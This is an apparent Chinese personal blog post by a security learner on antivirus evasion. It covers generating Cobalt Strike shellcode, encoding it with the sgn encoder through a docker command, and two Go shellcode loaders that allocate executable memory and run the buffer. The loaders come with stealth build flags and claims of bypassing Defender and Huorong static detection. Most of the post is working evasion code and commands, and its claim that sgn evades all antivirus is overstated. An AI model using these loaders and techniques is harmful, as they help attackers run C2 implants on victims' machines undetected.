Shellcode加密

2 minute read

Shellcode加密

0x00 写在前面

今年6月份辞掉了我那份摸鱼的工作,至今为止,已经找了快3个月的工作了,个人认为是如今的经济大环境差以及网络安全的发展迅速,导致了像我这样没有什么特长的web狗很难找到一份心仪的工作。

不多bb了,关于免杀,网络上的教程还是比较多的,也是我比较感兴趣的内容,我目前的学习路线是:

1. 免杀知识(Shellcode加密、减少熵、反沙箱、导入表隐藏、etw和amsi修补、系统调用、unhook、白加黑、opsec杀人于无形、c2选择等)
2. 把网络知识补上(Wireshark分析等)
3. 进源渗透的一些思路
4. 工具开发(Golang、Cobaltstrike插件开发等)
5. 内网该会的都得会

0x01 Shellcode生成

Shellcode是一段用于利用软件漏洞而执行的代码,Shellcode为16进制之机械码,以其经常让攻击者获得Shell而得名。用Cobaltstrike > Payloads > 可以分别生成有阶段和无阶段的Payload,输出格式选择Raw(原始二进制数据),即可生成一段我们所需要的Shellcode。那么Shellcode到底是二进制还是十六进制呢?本质上是二进制数据,十六进制只不过是二进制的另一种可视化形式。

Stager和Stageless的区别是C4和导弹的区别,Stager小巧但容易被发现,Stageless可瞬爆但体积过大不利于传输

0x02 Shellcode加密

Shellcode加密一般用sgn加密,Shikata ga nai日语是没有办法。需要先安装 keystone engine来作为依赖,可以用docker容器的方式直接跳过依赖库的安装。sgn加密后的Shellcode无需解密,可直接写入内存并执行,并且可以规避一切杀软的检测,这两个优点使sgn加密成为Shellcode加密最好的办法。也可以自己写脚本对Shellcode进行异或、求反、反转等一系列运算后再解密,达到了一定的混淆程度之后同样可以规避杀软。

docker pull egee/sgn

docker run -it -v /tmp/:/tmp/ egee/sgn -a 64 /tmp/shellcode

0x03 Shellcode Loader

以下是一个用Go写的Shellcode加载器,结合上面的Shellcode加密可以轻松绕过Defender

package main

import (
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

func main() {
	var (
		kernel32      = syscall.MustLoadDLL("kernel32.dll")
		VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
		RtlCopyMemory = kernel32.MustFindProc("RtlCopyMemory")
		shellcode_buf = []byte{}
	)
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
	syscall.Syscall(addr, 0, 0, 0, 0)
}

编译成可执行文件

go build -ldflags="-w -s -H windowsgui" -trimpath main.go

0x04 免杀某绒

修改加载器代码

package main

import (
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

func main() {
	var (
		kernel32      = syscall.MustLoadDLL("kernel32.dll")
		VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
		RtlCopyMemory = kernel32.MustFindProc("RtlCopyMemory")
		shellcode_buf = []byte{}
	)
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
	RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
	syscall.Syscall(addr, 0, 0, 0, 0)
}

可以过火绒静态检测,可以命令执行,但是只要一上线就会被内存检测给检测出来并在安全日志下留下记录。用CS的Stageless的Payload或者用MSF的windows/x64/meterpreter/reverse_tcp_rc4并在生成和监听时都设置好rc4password都可以安静上线,但是一执行命令,也会在安全日志留下记录。

我分别测试了Cobalt Strike和MSF所生成的Stageless Shellcode,都会在执行命令的时候被火绒的内存防护检测到。

这应该是这两款C2在执行命令的时候都会产生含有其特征的流量导致的。那么怎么避免产生含有特征的命令执行流量呢?

选用不同payload(x)
添加ssl证书加密msf流量(x)
加密stager(x)
二次开发Cobalt Strike(待尝试)
换用其他远控软件(待尝试)

先把oscp教程里面的免杀内容学了